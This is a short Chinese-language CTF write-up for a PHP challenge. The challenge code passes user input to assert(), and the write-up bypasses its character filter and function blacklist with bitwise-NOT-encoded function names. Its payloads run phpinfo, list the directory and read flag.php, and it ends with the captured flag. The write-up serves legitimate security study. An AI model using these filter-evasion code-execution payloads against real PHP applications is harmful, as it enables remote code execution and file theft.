Hate-php
技術太差了,還需要努力

<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
die('You are too good for me');
}
$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}
assert($code);
}
preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code
過濾了很多東西
可以看出我們需要從 flag.php中讀取出 flag
$blacklist = get_defined_functions()['internal'];
最主要的就是繞過這里 $blacklist = get_defined_functions()['internal'];
get_defined_functions()函數它將獲取所有已定義的函數,包括內置(internal) 和用戶定義的函數。 可通過$arr["internal"]來訪問系統內置函數, 通過$arr["user"]來訪問用戶自定義函數
這里吧內置函數 加如到了 blacklist中 ,我們就需要繞過這個
https://www.cnblogs.com/yesec/p/12450269.html 這里有個相同的繞過手法
構造 (phpinfo)();這樣的寫法
我們取反繞過

得到 %8F%97%8F%96%91%99%90
構造payload ?code=(~%8F%97%8F%96%91%99%90)()
分號被過濾了 那我們就去掉分號測試
這里去掉分號就可以了 在其他環境是否可行並未驗證

成功彈出phpinfo頁面
那我們同樣的就可以瀏覽目錄
使用print_r(scandir('.'))來進行列目錄



構造payload:
?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1)))

接下來我們讀取flag.php
使用readfile(‘flag.php’) 來讀取flag.php


Payload:
/?code=(~%8D%9A%9E%9B%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F))

得到flag
flag{ecee9b5f24f8aede87cdda995fed079c}
